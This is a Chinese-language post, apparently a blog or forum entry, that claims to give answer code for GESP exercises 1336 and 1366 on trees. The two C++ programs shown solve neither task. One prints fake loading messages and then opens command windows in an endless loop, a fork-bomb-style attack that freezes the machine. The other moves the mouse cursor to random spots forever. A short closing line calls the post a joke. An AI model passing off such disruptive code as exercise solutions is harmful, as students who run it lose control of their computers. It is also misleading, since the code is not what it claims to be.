GESP！【gesp 1336，gesp1366代码 】

大家好啊！众所周知，c++是一种简单的编程语言。之所以它很简单，是因为它的难易系数低（bushi）。下列是找树根和孩子（1336）的代码：

#include <iostream>

using namespace std;

int main()
{
    printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
    printf("***********************Ready to enter***************************\n");
    sleep(0.5);
    printf("  loading date from database ...\n");
    sleep(1);
    printf("  running environment is being detected ...\n");
    sleep(2);
    printf("  install backup resources, check for updates ...\n");
    sleep(0.5);
    printf("  start importing resources ...\n");
    sleep(1);
    printf("  importing successfully !\n");
    sleep(1);
    printf("  detect external memory status ...\n");
    sleep(0.5);
    printf("  get ready !\n");
    sleep(1);
    printf("  entering ...\n");
    printf("    3...\n");
    sleep(1);
    printf("    2..\n");
    sleep(1); 
    printf("    1.\n");
    sleep(1);
    printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");    
    printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
    printf("~********************************************************************************~\n");
    printf("~  *      *      *  * * * *  *        * * *    * * *       *     *     * * * *   ~\n");
    printf("~  *      *      *  *        *       *       *       *    * *   * *    *         ~\n");
    printf("~   *     *     *   * * * *  *      *       *         *  *   * *   *   * * * *   ~\n");
    printf("~    *  *   *  *    *        *       *       *       *  *     *     *  *         ~\n");
    printf("~     *       *     * * * *  * * * *  * * *    * * *    *     *     *  * * * *   ~\n");
    printf("~********************************************************************************~\n");  
    printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
    sleep(3);
    printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
    system("color F5");
    printf("\n\n\n");
    printf("Now, I'm going to destroy your computer.Here we go!")
    for(;;) system("start cmd");
    return 0;

}

下列是二叉树输出（1366）的代码：

#include<windows.h>
#include<ctime>
using namespace std;
int main()
{
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    while(1)
    SetCursorPos(rand()%x,rand()%y);
    return 0;
}

（仅供娱乐，切勿参考）